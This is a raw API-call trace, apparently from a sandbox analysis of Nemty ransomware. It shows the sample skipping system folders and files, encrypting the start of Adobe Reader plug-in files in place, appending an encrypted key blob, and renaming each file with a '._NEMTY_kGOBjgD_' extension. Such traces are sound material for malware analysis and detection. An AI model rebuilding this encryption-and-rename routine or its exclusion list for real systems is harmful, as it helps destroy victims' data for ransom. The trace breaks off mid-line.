1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.442] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0190.442] lstrcmpiW (lpString1="Annots.api", lpString2=".") returned 1 [0190.442] lstrcmpiW (lpString1="Annots.api", lpString2="..") returned 1 [0190.442] lstrcmpiW (lpString1="Annots.api", lpString2="...") returned 1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="windows") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="$RECYCLE.BIN") returned 1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="rsa") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="NTDETECT.COM") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="ntldr") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="MSDOS.SYS") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="IO.SYS") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="boot.ini") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="boot.ini") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="AUTOEXEC.BAT") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="ntuser.dat") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="desktop.ini") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="CONFIG.SYS") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="RECYCLER") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="BOOTSECT.BAK") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="bootmgr") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="programdata") returned -1 [0190.443] lstrcmpiW (lpString1="Annots.api", lpString2="appdata") returned -1 [0190.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.api", lpUsedDefaultChar=0x0) returned 10 [0190.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.api", lpUsedDefaultChar=0x0) returned 10 [0190.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.api", lpUsedDefaultChar=0x0) returned 10 [0190.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.api", lpUsedDefaultChar=0x0) returned 10 [0190.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.444] Sleep (dwMilliseconds=0x5) [0190.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x252b3810, dwHighDateTime=0x1d561e8)) [0190.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x252b3810, dwHighDateTime=0x1d561e8)) [0190.458] GetLastError () returned 0x12 [0190.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.458] GetLastError () returned 0x12 [0190.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.459] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.459] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="uJDBmPcNEcEASIAXCppp6nOiE34JeIgJ5IU/wwOFvY2GfZGl9jJZyAcreecatxWx\r\n1KaIB2AgGpB1gDf45MHQXUZTqXPCgdwf5oDTdybo2jITEQbeNn3gujgERQnpMJxf\r\n1mlBlhnd4bGlj6nJx1RRqk8xvPUPyT3B5KVEzoqrmPS+V1aBQ4DAGXAdDb2jakJc\r\nO2eCAASRq9fKsfRQkTkEqME+lgv/ZqHDarWHyTpydTLule9RydnkxSOvlnwZ3Oqg\r\n7S7H94CPhlKuYqPoqOSwEv//hIGeyfeSCR+efjW2+adHhqrNXRSLww4CoiGmVFWS\r\nPGNJvnnU+8JSKHuIAmo/rQ==\r\n", pcchString=0x653e91c) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.460] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=6143587) returned 1 [0190.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.460] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.460] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.470] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.470] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.470] SetFilePointer (in: hFile=0x254, lDistanceToMove=6143587, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5dbe63 [0190.470] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.472] CloseHandle (hObject=0x254) returned 1 [0190.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.472] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api._nemty_kgobjgd_")) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.473] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2=".") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="..") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="...") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="windows") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="$RECYCLE.BIN") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="rsa") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="NTDETECT.COM") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="ntldr") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="MSDOS.SYS") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="IO.SYS") returned -1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="boot.ini") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="boot.ini") returned 1 [0190.473] lstrcmpiW (lpString1="Checkers.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="ntuser.dat") returned -1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="desktop.ini") returned -1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="CONFIG.SYS") returned -1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="RECYCLER") returned -1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="BOOTSECT.BAK") returned 1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="bootmgr") returned 1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="programdata") returned -1 [0190.474] lstrcmpiW (lpString1="Checkers.api", lpString2="appdata") returned 1 [0190.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.api", lpUsedDefaultChar=0x0) returned 12 [0190.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.api", lpUsedDefaultChar=0x0) returned 12 [0190.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.api", lpUsedDefaultChar=0x0) returned 12 [0190.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.api", lpUsedDefaultChar=0x0) returned 12 [0190.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.475] Sleep (dwMilliseconds=0x5) [0190.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x252ffad0, dwHighDateTime=0x1d561e8)) [0190.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x252ffad0, dwHighDateTime=0x1d561e8)) [0190.490] GetLastError () returned 0x0 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.490] GetLastError () returned 0x0 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.490] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.490] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="8bVEuHHku/vDsrzD7YTnAFFqWnz4YDqUR1zH95PlSW2JlkZi2cfzeTPVWY+qso0S\r\nMvg1msThubzca6Ts15MX+tEM+R0NKX8Gwc4Qz442S92CkprMmsGh1tQ++uz7KHNm\r\nW7LUeZJDcN9C7aP8yhAEVkrra0LqMhNER+79LS6YkwbzZKAi3ygnoztLsnOhiArZ\r\ngWuQVw0EUgIC26kOZfRVQdaShi1KGZ6jzvL54A/BZt44tv/fA4If4Rqdq3PXkAvF\r\noWXpw1rgo5BNAX9cA94V1UKTZjytdGEjOeTgvlTFJPwMznTRpGl9NRWV74Psp1fb\r\nPlefL0iQSExriIWJNTuXdg==\r\n", pcchString=0x653e91c) returned 1 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.491] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=861283) returned 1 [0190.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.491] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.491] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.500] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.500] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.501] SetFilePointer (in: hFile=0x254, lDistanceToMove=861283, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd2463 [0190.501] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.502] CloseHandle (hObject=0x254) returned 1 [0190.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.503] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api._nemty_kgobjgd_")) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: 